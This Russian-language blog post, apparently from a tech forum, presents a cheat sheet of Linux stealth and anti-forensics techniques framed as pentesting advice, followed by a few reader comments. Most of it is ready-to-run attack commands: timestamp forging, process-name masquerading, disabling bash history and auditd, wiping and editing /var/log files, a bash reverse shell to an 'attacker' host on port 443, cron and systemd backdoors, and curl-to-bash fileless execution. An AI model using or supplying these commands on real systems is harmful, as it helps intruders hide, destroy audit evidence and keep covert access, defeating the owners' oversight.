В мире тестирования безопасности важно не только «залезть внутрь», но и сделать это так, чтобы никто не заметил. Ниже собраны практики, которые используют пентестеры и исследователи, чтобы их действия было сложнее заметить. Все примеры — только для обучения и безопасных экспериментов. Рекомендую всем изучить и добавить свои методы в комментариях ...

1. Подделка времени файлов

Файлы можно «состарить» или замаскировать под системные.

touch -r /bin/ls test.sh   # время как у ls
touch -t 202001011200.00 test.sh   # время «из прошлого»

Так скрипт не будет выделяться в списке новых файлов.

2. Маскировка процессов

В Linux любой процесс можно увидеть через ps. Но и тут есть трюки:

exec -a "[kworker/0:1H]" ./script.sh

Теперь процесс выглядит как «системный».

А ещё можно поменять имя через /proc:

echo "httpd" > /proc/$$/comm

3. Работа без истории Bash

История команд часто выдаёт действия. Решение — отключить её:

HISTFILE=/dev/null
unset HISTFILE
set +o history

Или очистить в конце:

history -c && history -w

4. Отключение логирования

Иногда проще временно выключить логи:

service rsyslog stop    # остановка syslog
auditctl -e 0           # отключение аудита

В реальных условиях такие действия заметны, поэтому использовать осторожно.

5. Алиасы для маскировки

Алиасы позволяют «подменять» команды.

alias ls='ls --color=auto --hide=payload.sh'

Теперь твой файл не видно при обычном ls.

А можно сделать алиас для очистки следов:

alias vanish='rm -rf ~/.bash_history /var/log/*'

6. Скрытые файлы

Файлы, начинающиеся с точки, не видны без ls -a:

mv payload.sh .payload.sh

Или можно замаскировать под системный сервис:

mv script.sh systemd-update.sh

7. Скрытый сетевой трафик

Обратные шеллы часто палятся по «левым» портам. Решение — использовать привычные:

bash -i >& /dev/tcp/attacker/443 0>&1

443 — порт HTTPS, и в логах он не вызовет подозрений.

8. Чистка логов

Удалить записи о себе можно так:

> /var/log/auth.log
sed -i '/username/d' /var/log/auth.log

Но резкая «чистота» логов иногда подозрительнее, чем отдельные следы.

9. Скрытая постоянка

Нужен доступ «на потом»? Можно спрятать скрипт в cron:

(crontab -l ; echo "*/5 * * * * /usr/local/bin/.sys-update.sh") | crontab -

Или оформить под systemd-сервис.

10. Скрипты без файлов

Можно даже не сохранять файлы, а запускать их напрямую:

curl http://site/payload.sh | bash

Так ничего не попадёт на диск. А если и сохранить — лучше в /dev/shm или /tmp, которые очищаются при перезагрузке.

Скрытность — это половина успеха. Можно взломать систему, но если останутся следы, тебя легко найдут. Эти приёмы помогают понять, как действуют настоящие атакующие, и как защититься от них.

Информация только для тестирования своих серверов

Шпаргалка

Приём

Пример команды

Что это даёт

Подделка времени файлов

touch -r /bin/ls hack.sh

Маскирует файл под старый системный

Фальшивое имя процесса

exec -a "[kworker/0:1H]" ./evil.sh

В ps процесс выглядит как системный

Изменение имени в /proc

echo "httpd" > /proc/$$/comm

Скрипт «притворяется» веб-сервером

Отключить историю Bash

HISTFILE=/dev/null; set +o history

Команды не записываются в ~/.bash_history

Очистить историю

history -c && history -w

Стирает историю текущей сессии

Остановить логирование

service rsyslog stop

Временное отключение системных логов

Отключить аудит

auditctl -e 0

Linux Audit System перестаёт писать события

Алиас для маскировки

alias ls='ls --hide=hack.sh'

Скрывает файл из вывода ls

Алиас для очистки

alias vanish='rm -rf ~/.bash_history /var/log/*'

Удаляет историю и логи

Скрытые файлы

mv hack.sh .hack.sh

Не виден без ls -a

Маскировка под сервис

mv hack.sh systemd-update.sh

Выглядит как системный файл

Обратный шелл на 443 порту

bash -i >& /dev/tcp/ip/443 0>&1

Трафик «прячется» под HTTPS

Очистка логов

sed -i '/user/d' /var/log/auth.log

Удаляет записи о пользователе

Крон-бэкдор

`(crontab -l; echo “*/5 * * * * /usr/local/bin/.sys.sh”)

crontab -`

Systemd-бэкдор

ExecStart=/usr/local/bin/.update.sh

Скрипт маскируется под службу

Запуск без сохранения файла

`curl http://x/payload.sh

bash`

Комментарии (6)


  1. NixGuy
    01.09.2025 08:47

    Часто, используя, например, curl делаю запросы ко всяким сервисам. Запросы могут содержать пароли или какую-то другую секретную информацию. Есть ли возможность настроить фильтрацию команд в bash, zsh, чтобы http-заголовки или параметры строки запроса с определенными именами «затирались» в истории команд?


    1. takkenname
      01.09.2025 08:47

      HISTIGNORE? Только он целые команды не сохраняет, если а них есть ключевое слово.


    1. loropiana Автор
      01.09.2025 08:47

      как вариант использовать файл с конфигом



    1. CrazyOpossum
      01.09.2025 08:47

      Начать команду с пробела? Не curl ..., а curl .... Мб это шелла зависит


  1. riv2
    01.09.2025 08:47

    Спасибо, буду иметь в виду (͡°͜ʖ͡°)